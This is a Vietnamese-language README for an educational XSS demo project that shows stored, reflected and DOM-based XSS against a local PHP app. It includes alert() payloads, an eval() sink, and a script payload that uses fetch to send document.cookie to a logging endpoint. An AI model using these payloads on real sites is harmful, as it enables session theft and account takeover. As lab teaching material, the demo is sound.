Giter Club home page Giter Club logo

xss-demo's Introduction

Stored XSS

Tại index.php nhập nội dung vào và submit sẽ hiển thị nội dung ra bên ngoài màn hình.

Stored XSS

Với tính tò mò thì bắt đầu chèn thêm lệnh <script>alert('Jos Fairy')</script> vào khung nhập, sau khi submit sẽ thấy hiện tượng kỳ lạ xảy ra.

Stored XSS

Ài ố xì mà vì tính tò mò không ngừng nên view-source lên xem cho rõ hơn.

Stored XSS

Ở trên, ta nhận ra rằng đoạn script không thực hiện ở khung nhập mà thực hiện ở khung hiển thị id="name"

Reflected XSS

Reflected XSS

Ở trên, rõ ràng nhận thấy link page page=About chưa được mã hóa mà còn lộ HD Full không che nữa.

Để tiếp tục thực hiện hành vi của mình, thử chèn 123 vào đường dẫn xem có gì xảy ra không.

Reflected XSS

Ahihi! Vậy là xuất hiện một trang y hệt màn hình index.php rồi nhỉ?

Tương tự như Stored XSS ta chèn thêm đoạn <script>alert("Jos Fairy")</script> để tấn công trang.

DOM Base XSS

Với một trang web bình thường, luồng code hiển nhiên sẽ là nhập giá trị vào ô input sau đấy hiển thị ra màn hình. Tương tự trong bản demo này cũng vậy.

DOM Base XSS

Nhưng khi view-source lên ta thấy #name=josfairy được bao bọc bởi hàm eval()

Hàm eval(string) nhận biểu thức toán học hoặc câu lệnh javascript

DOM Base XSS

DOM Base XSS

Vậy nên ta dễ dàng thao tác chỉ cần chèn câu lệnh alert(1) vào #name= là có thể tấn công.

DOM Base XSS

Steal Cookies with XSS

Để thực hiện tấn công vào người dùng, những kẻ tấn công có thể thực hiện nhiều hành vi khác nhau để đưa ra mọi cách thức khác nhau chiếm lấy tài khoản người dùng.

Ở đây, mình dêo cách thức phổ biến mà hacker muốn chiếm lấy tài khoản của bạn bằng cách đánh cắp cookie.

Tại trang chủ index.php, chèn thêm đoạn mã script <script>fetch('http://127.0.0.1:8000/log.php?c=' + document.cookie)</script> vào ô input

Steal Cookies with XSS

Sau khi submit lúc này đoạn script đã thực hiện và sinh ra một file log.txt chứa cookie của người dùng tương ứng.

Steal Cookies with XSS

Steal Cookies with XSS

xss-demo's People

Contributors

joshoangtien avatar

Stargazers

 avatar  avatar Aytal Popov avatar  avatar  avatar Will Devin avatar  avatar Hieu Dien avatar  avatar Cobweb Dartagnan avatar Barnaby Marmaduke avatar  avatar

Watchers

 avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.